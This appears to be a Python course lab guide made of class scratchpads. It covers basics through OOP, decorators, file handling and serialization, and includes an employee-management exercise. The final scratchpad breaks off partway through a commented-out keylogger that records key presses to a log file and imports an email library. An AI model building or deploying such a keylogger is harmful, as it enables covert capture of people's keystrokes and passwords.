Lab guidePython

Python Sunday 16/04/2023

Last updated 6 December 2023

Python Sunday 16/04/2023

Scratchpad #3

# # # # # # print("Please enter your full name")
# # # # # name = input("Please enter your full name: ")
# # # # # print(type(name))

# # # # # score = 110
# # # # # print(110)

# # # # name = input("Enter your first name: ")

# # # # if name == 'john':
# # # #     print("Hello john")
# # # #     print("-----")
# # # # elif name == "jane":
# # # #     print("Hello jane")
# # # # elif name == 'jack':
# # # #     print("Hello jack")
# # # # else:
# # # #     print("I don't know you")

# # # logged_in_user = None

# # # if logged_in_user:
# # #     print("Welcome to your dashboard")
# # # else:
# # #     print("Please login to view content")

# # # password = input("Please type in a password: ")

# # # if len(password) < 10:
# # #     print("Sorry, password has to be longer than 10 chars")

# # # age = int(input("Please enter your age: "))

# # # if age >= 65:
# # #     print("Drinks are free")
# # # elif age >= 21:
# # #     print("You can enter and you can drink")
# # # elif age >= 18:
# # #     print("You can enter but can't drink")
# # # else:
# # #     print("You are not allowed to enter")

# # age = int(input("Please enter your age: "))

# # if age >= 18 and age < 21:
# #     print("You can enter but can't drink")
# # elif age >= 21 and age < 65:
# #     print("You can enter and you can drink")
# # elif age >= 65:
# #     print("Drinks are free")
# # else:
# #     print("You are not allowed to enter")

# age = input("Please enter your age: ")

# if age:
#     age = int(age)
#     if age >= 18 and age < 21:
#         print("You can enter but can't drink")
#     elif age >= 21 and age < 65:
#         print("You can enter and you can drink")
#     elif age >= 65:
#         print("Drinks are free")
#     else:
#         print("You are not allowed to enter")
# else:
#     print("Please enter a value.")

# # -----------------------------------------------

# player1 = input("Enter player 1's choice: ")
# player2 = input("Enter player 2's choice: ")

# if ((player1 == "rock" and player2 == "scissors")
#         or (player1 == "paper" and player2 == "rock")
#         or (player1 == "scissors" and player2 == "paper")):
#     print("Player 1 wins")
# elif ((player2 == "rock" and player1 == "scissors")
#       or (player2 == "paper" and player1 == "rock")
#       or (player2 == "scissors" and player1 == "paper")):
#     print("Player 2 wins")
# elif player1 == player2:
#     print("Draw")
# else:
#     print("Something went wrong")

# # if player1 == "rock":
# #     if player2 == "scissors":
# #         print("Player 1 wins")
# #     elif player2 == "paper":

Scratchpad #4

# for num1 in range(10):
#     for num2 in range(5):
#         if num2 % 2 == 0:
#             print(num1, num2)

# password = input("Please enter your password: ")

# while password != "helloworld":
#     print("Incorrect password. Please try again.")
#     password = input("Please enter your password: ")

# print("Welcome")

# for num in range(10):
#     print(num)

# count = 0
# while count < 10:
#     print(count)
#     count += 1  # count = count + 1

# password = input("Please enter your password: ")

# while True:
#     if password == "helloworld":
#         break
#     print("Incorrect password. Please try again.")
#     password = input("Please enter your password: ")

# print("Welcome")

# for num in range(10):
#     if num == 5:
#         break
#     print(num)

# password = input("Please enter your password: ")

# while True:
#     if password == "helloworld":
#         break
#     if password == "quit":
#         break
#     print("Incorrect password. Please try again.")
#     password = input("Please enter your password: ")

# while True:
#     player1 = input("Enter player 1's choice: ")
#     player2 = input("Enter player 2's choice: ")

#     if ((player1 == "rock" and player2 == "scissors")
#             or (player1 == "paper" and player2 == "rock")
#             or (player1 == "scissors" and player2 == "paper")):
#         print("Player 1 wins")
#     elif ((player2 == "rock" and player1 == "scissors")
#           or (player2 == "paper" and player1 == "rock")
#           or (player2 == "scissors" and player1 == "paper")):
#         print("Player 2 wins")
#     elif player1 == player2:
#         print("Draw")
#     else:
#         print("Something went wrong")

#     play_again = input("Do you want to play again (y/n): ")
#     if play_again.lower() != 'y':
#         break

# all_tasks = ""

# while True:
#     task = input("Please enter a task: ")
#     if task == "done":
#         break
#     all_tasks += f"{task}||"

# print(all_tasks)

# langs = ["Python", "JavaScript", "Rust", "Elm", "WASM"]

# user_input = "Python"

# if user_input in langs:
#     print("That's an amazing language. Please use it: ")
# else:
#     print("Yeh kachra language hai. Tu eek soy developer hai.")

# a = 20
# b = 32
# print(a == b)

# if a == b:
#     print(True)
# else:
#     print(False)

nums = [1, 2, 3, 4, 5, 6]

for num in nums:
    print(num)

count = 0
while count < len(nums):
    print(nums[count])
    count += 1  # count = count + 1

Scratchpad #5

# # for i in range(10):
# #     print(f"this is the value of i - {i}")

# nums = [1, 2, 3, 4, 5, 6, 7]

# doubles = [num * 2 for num in nums]

# # doubles = []

# # for num in nums:
# #     doubles.append(num * 2)

# print(doubles)

# names = ["john", "jane", "jack", "jill"]

# upper_names = [name.upper() for name in names]

# # upper_names = []

# # for name in names:
# #     upper_names.append(name.upper())

# print(upper_names)

nums = [[[1, 29, 3], [1, 29, 3], [1, 29, 3]],
        [[1, 29, 3], [1, 29, 3], [1, 29, 3]],
        [[1, 29, 3], [1, 29, 3], [1, 29, 3]],
        [[1, 29, 3], [1, 29, 3], [1, 29, 3]]]
# total everything
# total the even numbers and odd numbers # evens = 0, odds = 0
total = 0

for lst in nums:  # outer
    for num in lst:  # inner
        total += num

print(total)

Scratchpad #6

# product = [
#     "iPhone 14", "Apple", "Some description...", 400, 100000, True,
#     "https://some_url.com/picture"
# ]

product = {
    "description": "Some description...",
    "price": 100000,
    "name": "iPhone 14",
    "in_stock": 400,
    "brand": "Apple",
    "discounted": True,
    "image_url": "....",
    "image_url": "asdasdasd",
}

for item in product.values():
    print(item)

# "Some description..."
# 100000
#

Scratchpad #7

# def greet():
#     print("Hello World")
#     print("Goodbye World")

# greet()
# greet()
# greet()
# greet()
# greet()

# from random import randint, random

# def flip_coin():
#     num = random()
#     if num > 0.5:
#         print("HEADS")
#     else:
#         print("TAILS")

# flip_coin()

# def gen_random_num():
#     print(randint(1, 10))

# def gen_random_nums():
#     gen_random_num()
#     gen_random_num()
#     gen_random_num()

# gen_random_nums()

# from random import randint, random

# def flip_coin():
#     num = random()
#     if num > 0.5:
#         return "HEADS"
#     return "TAILS"

# # print(flip_coin())
# result = flip_coin()
# print(result)

# result = type(100)
# print(result)

# def greet(name, message):
#     return f"{message}, {name}"

# print(greet("Jane", "Hello"))
# print(greet("Hi", "Jill"))
# print(greet("Jack", "Hey"))

# def sum_odd_numbers(numbers):
#     total = 0
#     for num in numbers:
#         if num % 2 == 1:
#             total += num
#     return total

# print(sum_odd_numbers([1, 2, 3, 4, 5]))

# def add(a=0, b=0):
#     return a + b

# print(add(20, 10))

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(a, b, fn=sub):
#     return fn(a, b)

# print(math(10, 5, add))

# # hello_world = add

# # print(add(10, 2))
# # print(hello_world(10, 2))

# def print_profile(first_name, last_name, age=0):
#     print(
#         f"Hello, my name is {first_name} {last_name} and I am {age} years old."
#     )

# print_profile(age=20, first_name="John", last_name="Doe")

# full_name = "John Doe"

# def greet():
#     full_name = "Jane Smith"
#     print(full_name)

# print(full_name)
# greet()

total = 0


def func():
    global total
    total += 5
    # print(total)


func()
print(total)

Scratchpad #8

# total = 0  # global scope

# def greet():
#     global total
#     total += 1  # local scope

# greet()
# print(total)

# def outer():
#     total = 0

#     def inner():
#         nonlocal total
#         total += 1
#         print(total)

#     inner()

# outer()

# def add(a, b):
#     """Function that accepts two numbers and add them
#     @param a: int | float
#     @param b: int | float
#     """
#     return a + b

# # print(add(10, 5))

# # print(add.__doc__)
# help(add)

# print(print.__doc__)

# def add(a, b, c, *nums):
#     print(a)
#     print(b)
#     print(c)
#     print(nums)
# total = 0
# for num in nums:
#     total += num
# return total
# print(nums)
# return a + b

# add(10, 20, 30, 40, 50, 60, 70, 80, 90, 100)
# print(add(10, 20))
# print()

# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# nums = input("Please enter multiple numbers (separated by spaces): ")
# lstrs = nums.split(" ")
# lnums = [int(item) for item in lstrs]
# # print(lnums)
# print(add(*lnums))

# def profile(**data):
#     print(
#         f"Hello my name is {data['first_name']} {data['last_name']} and I am {data['age']} years old."
#     )

# profile(first_name="Jane", last_name="Doe", age=20)

# def profile(a, b, *args, role="moderator", **kwargs):
#     print(a)
#     print(b)
#     print(args)
#     print(role)
#     print(kwargs)

# profile(10, 20, 30, 40, 50, first_name="John", last_name="Doe", role="admin")

# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# data = [10, 20, 30, 40, 50]

# print(add(*data))

# def say_name(first, last):
#     print(f"My name is {first} {last}")

# data = {"first": "Jack", "last": "Smith"}

# say_name(**data)  # say_name(first="jack", last="smith")

# def greet(name, message):
#     return f"{message}, {name}"

# # print(greet("Jane", "Hello"))

# hello_world = greet

# print(hello_world("John Doe", "Hi"))

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# math = [add, sub]
# print(math[0](10, 4))

# math = {"add": add, "sub": sub}
# print(math["add"](10, 5))

# def add(a, b):
#     return a + b

# mul = lambda a, b: a * b

# print(mul(10, 5))

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def math(x, y, fn):
#     return fn(x, y)

# print(math(10, 5, lambda a, b: a / b))

nums = [1, 2, 3, 4, 5, 6, 7, 8]

result2 = map(lambda num: num * 3, nums)
# print(list(result2))

result1 = filter(lambda num: num % 2 == 0, result2)
print(list(result1))

# even_doubles = map(lambda num: num * 2, filter(lambda num: num % 2 == 0, nums))
# print(list(even_doubles))

# evens = filter(lambda num: num % 2 == 0, nums)
# evens = [num for num in nums if num % 2 == 0]
# print(list(evens))

# doubles = map(lambda num: num * 2, nums)
# # doubles = [num * 2 for num in nums]

# print(list(doubles))
# print(tuple(doubles))
# for num in doubles:
#     print(num)

Scratchpad #9

import random
# from pprint import pprint

SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
              "Queen", "King")

NCARDS = 8


def get_card(deck_list_in):
    this_card = deck_list_in.pop()
    return this_card


def shuffle(deck_list_in):
    deck_list_out = deck_list_in.copy()
    random.shuffle(deck_list_out)
    return deck_list_out


print("Welcome to higher or lower!")
print(
    "You have to choose whether the next card to be shown will be higher or lower than the current card."
)
print(
    "Getting it right adds 20 points; get it wrong and you will lose 15 points"
)
print("You have 50 points to start")
print()

starting_deck_list = []
for suit in SUIT_TUPLE:
    for this_value, rank in enumerate(RANK_TUPLE):
        card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
        starting_deck_list.append(card_dict)

score = 50

while True:
    game_deck_list = shuffle(starting_deck_list)
    current_card_dict = get_card(game_deck_list)
    current_card_rank = current_card_dict["rank"]
    current_card_suit = current_card_dict["suit"]
    current_card_value = current_card_dict["value"]
    print(f"Starting card is {current_card_rank} of {current_card_suit}")
    print()

    for card_number in range(0, NCARDS):
        answer = input(
            f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
        )
        answer = answer.lower()
        next_card_dict = get_card(game_deck_list)
        next_card_rank = next_card_dict["rank"]
        next_card_suit = next_card_dict["suit"]
        next_card_value = next_card_dict["value"]
        print(f"Next card is {next_card_rank} of {next_card_suit}")

        if answer == 'h':
            if next_card_value > current_card_value:
                print("You got it right, it was higher")
                score += 20
            else:
                print("Sorry, it was not higher")
                score -= 15
        elif answer == 'l':
            if next_card_value < current_card_value:
                print("You got it right, it was lower")
                score += 20
            else:
                print("Sorry it was not lower")
                score -= 15

        print(f"Your score is: {score}")
        print()
        current_card_rank = next_card_rank
        current_card_suit = next_card_suit
        current_card_value = next_card_value

    go_again = input("To play again, press ENTER, or 'q' to quit: ")
    if go_again == 'q':
        break

print("Thank you for playing.")

Scratchpad #10

# def colorize(text, color):
#     colors = ('red', 'yellow', 'green', 'blue', 'cyan', 'magenta', 'white')

#     if type(text) is not str or type(color) is not str:
#         # raise TypeError("text and color should be strings")
#         raise Exception("This is some error.")

#     if color not in colors:
#         # print(f"Sorry, color {color} is not supported")
#         raise ValueError(f"Sorry, color {color} is not supported")

#     return f"{text} in {color}"

# try:
#     color = input("Please enter a supported color: ")
#     result = colorize("Hello World", color)
# except:
#     print("Color is not supported")
# else:
#     print("RESULT:", result)
# finally:
#     print("THIS ALWAYS RUNS NO MATTER SUCCESS OR FAILURE")

# # print("This is going to print after colorize successfully runs")

# # def add(a, b):
# #     print(a + b)

# # while True:
# #     num1 = input("Please enter a number: ")
# #     num2 = input("Please enter another number: ")

# #     if num1 == 'q' or num2 == 'q':
# #         break

# #     try:
# #         num1 = int(num1)
# #         num2 = int(num2)

# #         add(num1, num2)
# #     except Exception as err:
# #         print(err)
# #         print("Sorry, num1 and num2 have to be numbers")

# # except (ValueError, TypeError) as err:
# #     print(err)
# #     print("Sorry, num1 and num2 have to be numbers")
# # except ValueError as err:
# #     print("Sorry, num1 and num2 have to be numbers")

# import random as r


def random():
    print("Something")


# print(r.randint(10, 20))
# print(r.random())

from random import randint, random as r, choice, shuffle
# from random import *

print(randint(10, 20))
print(r())
print(choice(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))
print(shuffle(["Ryzen 7", "Ryzen 9", "Core i7", "Core i9"]))

Scratchpad #11

# def user(first_name, last_name, email, phone, password):

#     def greet():
#         print("Hello World")

#     def login(u, passwd):
#         if passwd == u["password"]:
#             print("You are now logged in")
#             return True
#         print("Sorry, incorrect Details")
#         return False

#     return {
#         "first_name": first_name,
#         "last_name": last_name,
#         "email": email,
#         "phone": phone,
#         "password": password,
#         "greet": greet,
#         "login": login
#     }

# class User:

#     def __init__(self, first_name, last_name, email, phone, password):
#         self.first_name = first_name
#         self.last_name = last_name
#         self.email = email
#         self.phone = phone
#         self.password = password

#     def greet(self):
#         print("Hello World")

#     def login(self, passwd):
#         if passwd == self.password:
#             print("You are now logged in")
#             return True
#         print("Sorry, incorrect Details")
#         return False

# john = user("John", "Doe", "john@gmail.com", "+91 9882235678", "testpass")
# jane = User("Jane", "Smith", "jane@gmail.com", "+91 9876654321", "somepass")

# print(john["last_name"])
# print(jane.last_name)
# print(john["email"])
# print(jane.email)
# john["greet"]()
# jane.greet()
# john["login"](john, "testpass")
# jane.login("somepass")

# # print(john["last_name"])
# # print(john["email"])
# # john["greet"]()
# # john["login"](john, "testpass")


class User:

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self._age = age
        self.city = "mumbai"
        self.__email = "test"

    def get_age(self):
        return self._age

    def set_age(self, new_age):
        if new_age < 18 or new_age >= 90:
            raise ValueError("Invalid age")
        self._age = new_age


john = User("John", "Doe", 20)
jane = User("Jane", "Doe", 30)

print(john._User__email)

# john._age = 30
# print(john._age)
# john._age = -24000
# # john.set_age(400)
# print(john.get_age())

# jane.last_name = "Roe"
# print(john.first_name)
# print(jane.last_name)
# # print(type(john))

Scratchpad #12

# # class User:
# #     country = "India"
# #     total_users = 0
# #     active_users = 0

# #     # constructor
# #     def __init__(self, first_name, last_name, age, email, phone):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self.age = age
# #         self.email = email
# #         self.phone = phone
# #         self.city = "Mumbai"
# #         User.total_users += 1

# #     def print_data(self):
# #         print(
# #             f"First Name: {self.first_name}\nLastName: {self.last_name}\nAge: {self.age}"
# #         )

# #     def change_city(self, new_city):
# #         self.city = new_city
# #         return True

# #     def login(self):
# #         User.active_users += 1

# #     def logout(self):
# #         User.active_users -= 1

# # a = 10

# # john = User('John', 'Doe', 20, 'john@gmail.com', '+91 1234567890')
# # jane = User('Jane', 'Doe', 22, 'jane@gmail.com', '+91 1232134738')
# # john.login()
# # jane.login()
# # jane.logout()

# # # print(john.country)
# # # print(jane.country)
# # # print(User.country)
# # print(User.active_users)

# # # user2.print_data()
# # # print(user2.city)
# # # user2.change_city('Pune')
# # # print(user2.city)

# # # print(john.last_name)
# # # print(user2.last_name)
# # # print(user1.first_name)
# # # print(user1.city)
# # # print(user1.__dict__)

# # total_users = 0
# # active_users = 0

# # def make_user(first_name, last_name, age, email):
# #     global total_users
# #     total_users += 1
# #     return {
# #         "first_name": first_name,
# #         "last_name": last_name,
# #         "age": age,
# #         "email": email,
# #         "city": "Mumbai"
# #     }

# # def login(user):
# #     print(f"{user['first_name']} {user['last_name']} has just logged in.")
# #     global active_users
# #     active_users += 1

# # john = make_user("John", "Doe", 20, "john@gmail.com")
# # jane = make_user("Jane", "Smith", 30, "jane@outlook.com")

# # print(john)
# # print(jane)
# # login(john)
# # print(total_users)
# # print(active_users)

# import random

# # class User:
# #     country = "India"
# #     total_users = 0
# #     active_users = 0

# #     # constructor
# #     def __init__(self, first_name, last_name, age, email, phone):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self.age = age
# #         self.email = email
# #         self.phone = phone
# #         self.city = "Mumbai"
# #         self.password = User.generate_password(12)
# #         User.total_users += 1

# #     def __repr__(self):
# #         return self.first_name + " " + self.last_name

# #     @classmethod
# #     def generate_password(cls, pass_length=8):
# #         password = ""
# #         chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()"
# #         for _ in range(pass_length):
# #             password += random.choice(chars)
# #         return password

# #     @classmethod
# #     def get_total_users(cls):
# #         return cls.total_users

# #     def print_data(self):
# #         print(
# #             f"First Name: {self.first_name}\nLastName: {self.last_name}\nAge: {self.age}"
# #         )

# #     def change_city(self, new_city):
# #         self.city = new_city
# #         return True

# #     def login(self):
# #         User.active_users += 1

# #     def logout(self):
# #         User.active_users -= 1

# # john = User('John', 'Doe', 20, 'john@gmail.com', '+91 1234567890')
# # jane = User('Jane', 'Doe', 22, 'jane@gmail.com', '+91 1232134738')

# # print(john.email)
# # print(jane)

# # # print(User.get_total_users())
# # # print(User.generate_password(20))
# # # print(john.__dict__)
# # # print(jane.__dict__)

# # class User:

# #     def __init__(self, name, email):
# #         self.name = name
# #         self.email = email

# #     def __repr__(self):
# #         return self.email

# #     def login(self):
# #         print(f"{self.email} just logged in")
# #         return True

# #     def logout(self):
# #         print(f"{self.email} has logged out")
# #         return True

# # class Admin(User):

# #     def __repr__(self):
# #         return self.email + " [ADMIN]"

# #     def create_group(self, group_name):
# #         print(f"{group_name} was created {self.first_name} {self.last_name}")
# #         return True

# # john = User('John Doe', 'john@gmail.com')
# # jane = Admin('Jane Smith', 'jane@outlook.com')

# # print(john)
# # print(jane)

# # jane.create_group('Python Devs')
# # john.create_group('')

# # class User:

# #     def __init__(self, first_name, last_name, age, email):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self._age = age
# #         self.email = email

# #     @property
# #     def age(self):
# #         return self._age

# #     @age.setter
# #     def age(self, new_age):
# #         if new_age < 18 or new_age > 80:
# #             raise ValueError("Please enter a valid age")
# #         self._age = new_age
# #         return self._age

# #     def get_age(self):
# #         return self._age

# #     def set_age(self, new_age):
# #         if new_age < 18 or new_age > 80:
# #             raise ValueError("Please enter a valid age")
# #         self._age = new_age
# #         return self._age

# # class Admin(User):

# #     def __init__(self, first_name, last_name, age, email, phone):
# #         super().__init__(first_name, last_name, age, email)
# #         self.phone = phone

# #     def __repr__(self):
# #         return self.email + " [ADMIN]"

# #     def create_group(self, group_name):
# #         print(f"{group_name} was created {self.first_name} {self.last_name}")
# #         return True

# # john = User('John', 'Doe', 20, 'john@gmail.com')
# # # john.age = 3000000
# # # print(john.age)

# # jane = Admin('Jane', 'Smith', 30, 'jane@gmail.com', '+91 1234567890')

# # print(jane.phone)
# # # john._age = 3032042
# # # print(john._age)

# # # john.set_age(300000)
# # # print(john.get_age())

# class Human:

#     def __init__(self, name, age):
#         self.name = name
#         self.age = age

#     def greet(self):
#         print("Hello World")

# class Animal:

#     def __init__(self, name, age):
#         self.name = name
#         self.age = age

#     def greet(self):
#         print("jasndfjksadnflasdfjn")

# class Mutant(Human, Animal):
#     pass

# john = Human("John Doe", 20)
# horse = Animal("Michael", 5)
# joe = Mutant('John Horse', 25)

# joe.greet()

# Bank
# name: str, initials: str, address: str, phone: [str],
# ifsc: str, email: str, branch: str, customers: [Customer]
# ----
# create_customer(first_name, middle_name, ...) -> Customer
#                   cus = Customer(first_name, middle_name, ...)
#                   self.customers.append(cus)
#                   return cus
# remove_customer()
# find_customer() -> Customer
# filter_customers() -> [Customer]
# edit_bank_details()

# Customer
# first_name: str, middle_name: str, last_name: str, email: str, phone: str
# address: str, pan_no: str, aadhar_no: str, customer_id: str, account_no: str,
# balance: float, bank_name: Bank
# ----
# deposit()
# withdraw()
# edit_details()
# check_balance()
# get_details()

sbi = Bank("", "")
john = sbi.create_customer("", "", "")

Scratchpad #13

# # # class User:

# # #     def __init__(self, first_name, last_name, age):
# # #         self.first_name = first_name
# # #         self.last_name = last_name
# # #         self.age = age

# # #     def greet(self):
# # #         return "Hello World"

# # #     def __len__(self):
# # #         return self.age

# # #     def __lt__(self, user):
# # #         return self.age < user.age

# # # class Admin(User):

# # #     def greet(self):
# # #         return "Hello Universe"

# # # john = User("John", "Doe", 20)
# # # jane = Admin("Jane", "Smith", 19)

# # # print(john.greet())
# # # print(jane.greet())
# # # print(len("hello"))
# # # print(len([1, 2, 3, 4]))
# # # print(len(jane))
# # # print(john < jane)

# # # a = "hello world"

# # # for char = next(ia) in ia = iter(a):
# # #     print(char)

# # # for char in a:
# # #     print(char)

# # # def my_map(func, iterable):
# # #     iterator = iter(iterable)

# # #     while True:
# # #         try:
# # #             i = next(iterator)
# # #         except StopIteration:
# # #             break
# # #         else:
# # #             func(i)

# # # # for num in [1, 2, 3, 4, 5]:
# # # #     print(num)

# # # my_map(lambda num: print(num), [1, 2, 3, 4, 5])

# # # r = range(10000000000000000000000000000000)
# # # l = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]

# # # l[3]

# # class Counter:

# #     def __init__(self, start, end, step=1):
# #         self.start = start
# #         self.end = end
# #         self.step = step

# #     def __repr__(self):
# #         return f"Counter({self.start}, {self.end})"

# #     def __iter__(self):
# #         return self

# #     def __next__(self):
# #         if self.start < self.end:
# #             num = self.start
# #             self.start += self.step
# #             return num
# #         else:
# #             raise StopIteration

# # # r = range(0, 10)
# # # c = Counter(0, 10, 2)

# # # # print(r)
# # # # print(c)

# # # for num in c:
# # #     print(num)

# # class User:

# #     def __init__(self, first_name, last_name, age):
# #         self.first_name = first_name
# #         self.last_name = last_name
# #         self.age = age

# #     def __repr__(self):
# #         return self.first_name

# #     def __add__(self, new_user):
# #         return User("new born", "user", 0)

# # john = User("John", "Doe", 20)
# # jane = User("Jane", "Doe", 25)
# # print(john)
# # print(jane)
# # print(john + jane)

# # def counter(start, end):
# #     while start < end:
# #         yield start
# #         start += 1

# # # print(counter(0, 10))
# # for num in counter(0, 10):
# #     print(num)

# # def fib_list(max):
# #     nums = []
# #     a, b = 0, 1
# #     while len(nums) < max:
# #         nums.append(a)
# #         a, b = b, a + b
# #     return nums

# # for num in fib_list(100000000000000):
# #     print(num)

# # def fib_gen(max):
# #     a, b = 0, 1
# #     count = 0
# #     while count < max:
# #         a, b = b, a + b
# #         yield a
# #         count += 1

# # # print(fib_gen(100000000000000))

# # for num in fib_gen(10000000000):
# #     print(num)

# import time

# gen_start_time = time.time()  # now
# print(sum(num for num in range(100000000)))
# gen_stop = time.time() - gen_start_time

# list_start_time = time.time()  # now
# print(sum([num for num in range(100000000)]))
# list_stop = time.time() - list_start_time

# print(f"Generator took: {gen_stop}")
# print(f"List comp took: {list_stop}")

# def math(a, b, fn):
#     return fn(a, b)

# def add(a, b):
#     return a + b

# print(math(10, 5, add))

import random

# def greet(person):

#     def get_mood():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return msg

#     result = f"{get_mood()} {person}"
#     return result

# print(greet("john"))

# def make_greet_func(person):

#     def make_message():
#         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
#         msg = random.choice(mood)
#         return f"{msg} {person}"

#     return make_message

# test = make_greet_func("john")
# test2 = make_greet_func("jane")
# print(test())
# print(test2())


def stars(fn):

    def wrapper(*args, **kwargs):
        print("*" * 20)
        fn(*args, **kwargs)
        print("*" * 20)

    return wrapper


@stars  # hello = stars(hello)
def hello(person):
    print(f"Hello {person}")


@stars  # goodbye = stars(goodbye)
def goodbye(person, message):
    print(f"{message} {person}")


# hello = stars(hello)  # decorated hello with stars
# goodbye = stars(goodbye)  # decorated goodbye with stars

hello("john")
goodbye("good bye", "jane")

# @classname # something = classname(something)
# def something(cls):
#     return

Scratchpad #14

# file = open("hello.txt")
# print(file.read())
# file.close()
# print(file.closed)

# with open("hello.txt", "r") as file:
#     print(file.read())

# print(file.closed)

# with open("hello2.txt", "w") as file:
#     file.write("Hello, this is the first line\n")
#     file.write("This is another line\n")
#     file.write("*" * 100)

# with open("hello.txt", "a") as file:
#     file.write("This is one line that is something\n")

# with open("hello.txt", "r+") as file:
#     print(file.read())
#     file.seek(0)
#     file.write("THIS IS SOME TEXTTTTTT>>>>")

# with open("hello.txt") as file:
#     data = file.read()

# data = data.replace("something", "OTHER THING")

# with open("hello.txt", "w") as file:
#     file.write(data)

# with open("scratchpad_12.py") as file:
#     print(file.read())

from pprint import pprint

# with open("hello.csv") as file:
#     data = file.read()
#     data = data.split("\n")
#     data = [row.split(",") for row in data]
#     data.pop()
#     pprint(data)

from csv import reader, DictReader, writer, DictWriter

# with open("hello.csv") as file:
#     csv_reader = reader(file)
#     pprint(list(csv_reader))

# with open("hello.csv") as file:
#     csv_reader = DictReader(file)
#     pprint(list(csv_reader))

# with open("hello.csv", "a", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
#     csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
#     csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])
#     csv_writer.writerow(["Test", "User", 45, "testuser@gmail.com"])

# with open("hello.csv", "w", newline="") as file:
#     headers = ["first_name", "last_name", "age", "email"]
#     csv_writer = DictWriter(file, fieldnames=headers)
#     csv_writer.writeheader()
#     csv_writer.writerow({
#         "first_name": "Jane",
#         "last_name": "Doe",
#         "age": 30,
#         "email": "janedoe@gmail.com",
#     })
#     csv_writer.writerow({
#         "first_name": "Jane",
#         "last_name": "Doe",
#         "age": 30,
#         "email": "janedoe@gmail.com",
#     })

# pep8, black, yapf

import pickle, json
import jsonpickle


class User:

    def __init__(self, first_name, last_name, age):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age

    def __repr__(self):
        return self.first_name + " " + self.last_name

    def greet(self):
        return "Hello World"


# john = User("John", "Doe", 20)
# jane = User("Jane", "Smith", 30)

# print(john.greet())

# with open("hello.txt", "w") as file:
#     file.write(john)

# with open("users.pickle", "wb") as file:
#     pickle.dump((jane, john), file)

# with open("users.pickle", "rb") as file:
#     restored_data = pickle.load(file)
#     print(restored_data[0].greet())

# print(json.dumps([{"hello": "world", "test": True, "another": None}]))
# print(json.dumps(john))
# print(john.__dict__)
# print(json.dumps(john.__dict__))


# with open("users_new.json", "w") as file:
#     stored = jsonpickle.encode((john, jane))
#     file.write(stored)

with open("users_new.json", "r") as file:
    contents = file.read()
    restored_data = jsonpickle.decode(contents)
    print(restored_data[0].greet())

Employee-Company

import uuid
import datetime


class Company:

    def __init__(self, name, address, phone_nos, email,
                 company_registration_code):
        self.name = name
        self.address = address
        self.phone_nos = phone_nos
        self.email = email
        self.company_registration_code = company_registration_code
        self.employees = []

    def __repr__(self):
        return self.name

    def create_employee(self, first_name, middle_name, last_name, address,
                        aadhar_card_no, pan_card_no, phone, email):
        if not all([
                first_name, middle_name, last_name, address, aadhar_card_no,
                pan_card_no, phone, email
        ]):
            raise ValueError("All fields are required to create an employee")

        new_employee = Employee(first_name, middle_name, last_name, address,
                                aadhar_card_no, pan_card_no, phone, email)
        self.employees.append(new_employee)
        return new_employee

    def find_employee(self, employee_id):
        for employee in self.employees:
            if employee.employee_id == employee_id:
                return employee
        raise ValueError("Employee not found")

    def filter_employees(self, name):
        filtered = [
            employee for employee in self.employees
            if name in employee.get_full_name()
        ]
        if not filtered:
            raise ValueError("No employee found with this name.")
        return filtered

    def delete_employee(self, employee_id):
        self.employees = [
            employee for employee in self.employees
            if employee.employee_id != employee_id
        ]


class Employee:

    def __init__(self, first_name, middle_name, last_name, address,
                 aadhar_card_no, pan_card_no, phone, email):
        self.first_name = first_name
        self.middle_name = middle_name
        self.last_name = last_name
        self.address = address
        self.aadhar_card_no = aadhar_card_no
        self.pan_card_no = pan_card_no
        self.phone = phone
        self.email = email
        self.employee_id = str(uuid.uuid4())
        self.attendance = []

    def __repr__(self):
        return self.first_name + " " + self.middle_name + " " + self.last_name

    def get_full_name(self):
        return f"{self.first_name} {self.middle_name} {self.last_name}"

    def get_details(self):
        return {
            "first_name": self.first_name,
            "middle_name": self.middle_name,
            "last_name": self.last_name,
            "address": self.address,
            "aadhar_card_no": self.aadhar_card_no,
            "pan_card_no": self.pan_card_no,
            "email": self.email,
            "phone": self.phone,
            "employee_id": self.employee_id
        }

    def edit_details(self,
                     first_name=None,
                     middle_name=None,
                     last_name=None,
                     address=None,
                     phone=None,
                     email=None,
                     aadhar_card_no=None,
                     pan_card_no=None):
        if first_name:
            self.first_name = first_name
        if middle_name:
            self.middle_name = middle_name
        if last_name:
            self.last_name = last_name
        if address:
            self.address = address
        if phone:
            self.phone = phone
        if email:
            self.email = email
        if aadhar_card_no:
            self.aadhar_card_no = aadhar_card_no
        if pan_card_no:
            self.pan_card_no = pan_card_no

    def punch_in(self):
        self.attendance.append({'date': datetime.now(), 'punch': 'in'})

    def punch_out(self):
        self.attendance.append({'date': datetime.now(), 'punch': 'out'})

Scratchpad #15

# from pynput.keyboard import Key, Listener
# import pyautogui
# from time import sleep
# import yagmail
# from datetime import datetime

# count = 0
# keys = []

# try:
#     def on_press(key):
#         global count, keys
#         keys.append(key)
#         count += 1
#         if count >= 10:
#             write_file(keys)
#             keys = []

#     def write_file(keys):
#         with open("log.txt", "a") as f:
#             for key in keys:
#                 k = str(key).replace("'", "")
